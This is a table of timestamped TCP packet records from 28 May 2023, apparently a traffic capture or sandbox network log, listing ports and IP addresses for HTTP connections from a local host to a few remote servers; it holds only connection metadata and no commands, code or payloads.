May 28, 2023 10:42:51.593350887 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.593369961 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.593395948 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.593416929 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.593447924 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.593453884 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.593493938 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.593514919 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.593540907 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.593554974 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.593586922 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.593607903 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.593632936 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.593652010 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.593678951 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.593699932 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.593724966 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.593736887 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.593770027 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.593779087 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.593817949 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.593827009 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.593863010 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.593879938 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.593909025 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.593920946 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.593955994 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.593971014 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.594005108 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.594012976 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.594050884 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.594069958 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.594098091 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.594115019 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.594144106 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.594156981 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.594192982 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.594202995 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.594238043 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.594255924 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.594285011 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.594299078 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.594331980 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.594341040 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.594377041 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.594389915 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.594424963 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.594443083 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.594470978 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.594485044 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.594516039 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.594530106 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.594563007 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.594572067 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.594608068 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.594631910 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.594655037 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.594672918 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.594701052 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.594719887 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.594747066 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.594758034 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.594794035 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.594816923 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.594840050 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.594856977 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.594887018 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.594902039 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.594934940 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.594944000 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.594980955 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.595000029 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.595029116 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.595040083 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.595076084 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.595088005 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.595122099 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.595135927 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.595169067 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.595185995 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.595216990 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.595232964 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.595263004 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.595276117 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.595310926 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.595319033 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.595355988 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.595379114 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.595402956 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.595421076 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.595451117 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.595459938 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.595495939 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.595506907 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.595544100 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.595561981 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.595588923 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.595602036 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.595634937 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.595655918 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.595680952 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.595693111 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.595726013 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.595763922 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.595774889 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.595789909 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.595822096 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.595834017 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.595869064 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.595882893 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.595915079 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.595936060 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.595959902 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.595974922 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.596008062 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.596016884 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.596057892 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.596062899 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.596103907 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.596124887 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.596151114 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.596167088 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.596199036 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.596209049 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.596245050 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.596286058 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.596304893 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.596313000 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.596359015 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.596374035 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.596406937 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.596417904 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.596453905 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.596465111 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.596501112 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.596518040 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.596548080 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.596560955 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.596594095 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.596609116 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.596641064 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.596651077 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.596709967 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.596781015 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.596827984 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.596836090 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.596873999 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.596890926 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.596918106 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.596930981 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.596965075 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.596987009 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.597016096 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.597021103 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.597063065 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.597084045 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.597110033 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.597126007 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.597156048 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.597167969 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.597202063 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.597213984 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.597265005 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.627322912 CEST	49716	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.643858910 CEST	80	49716	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.643954039 CEST	49716	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.661696911 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.678122997 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.678245068 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.678483009 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.678515911 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.694844007 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.694911957 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.812899113 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.813016891 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.813126087 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.843537092 CEST	80	49721	175.119.10.231	192.168.2.3
May 28, 2023 10:42:51.855222940 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.855222940 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:51.871629000 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.871670961 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:51.881743908 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.881897926 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.881927967 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.881948948 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.881999016 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.882019997 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.882020950 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.882045984 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.882051945 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.882107973 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.882169008 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.882174969 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.882224083 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.882224083 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.882271051 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.882280111 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.882316113 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.882322073 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.882361889 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.882369041 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.882405996 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.882411957 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.882452011 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.882455111 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.882497072 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.882503986 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.882539988 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.882584095 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.882592916 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.882592916 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.882632971 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.882643938 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.882678986 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.882683992 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.882725954 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.882767916 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.882771015 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.882771969 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.882814884 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.882859945 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.882867098 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.882905006 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.882910967 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.882951021 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.882955074 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.883011103 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.883014917 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.883060932 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.883063078 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.883107901 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.883110046 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.883152008 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.883157015 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.883199930 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.883202076 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.883254051 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.883270979 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.883321047 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.883325100 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.883366108 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.883371115 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.883411884 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.883415937 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.883457899 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.883490086 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.883505106 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.883510113 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.883549929 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.883558989 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.883595943 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.883605957 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.883642912 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.883649111 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.883688927 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.883691072 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.883734941 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.883738041 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.883780003 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.883781910 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.883826017 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.883830070 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.883872986 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.883876085 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.883918047 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.883922100 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.883964062 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.883969069 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.884013891 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.884015083 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.884061098 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.884064913 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.884108067 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.884109974 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.884155035 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.884156942 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.884202003 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.884203911 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.884248972 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.884251118 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.884299994 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.884340048 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.884392977 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.884394884 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.884438992 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.884443045 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.884485960 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.884489059 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.884531975 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.884535074 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.884577990 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.884579897 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.884623051 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.884629965 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.884670973 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.884671926 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.884717941 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.884720087 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.884763002 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.884763956 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.884809017 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.884810925 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.884855032 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.884859085 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.884901047 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.884905100 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.884947062 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.884948969 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.884993076 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.885000944 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.885044098 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.885090113 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.885101080 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.885135889 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.885138035 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.885181904 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.885189056 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.885227919 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.885231018 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.885273933 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.885277033 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.885322094 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.885323048 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.885373116 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.885374069 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.885423899 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.885441065 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.885490894 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.885494947 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.885536909 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.885540009 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.885584116 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.885586977 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.885631084 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.885631084 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.885677099 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.885678053 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.885723114 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.885727882 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.885768890 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.885772943 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.885816097 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.885817051 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.885863066 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.885863066 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.885910034 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:51.885911942 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:51.885956049 CEST	80	49720	103.100.211.218	192.168.2.3
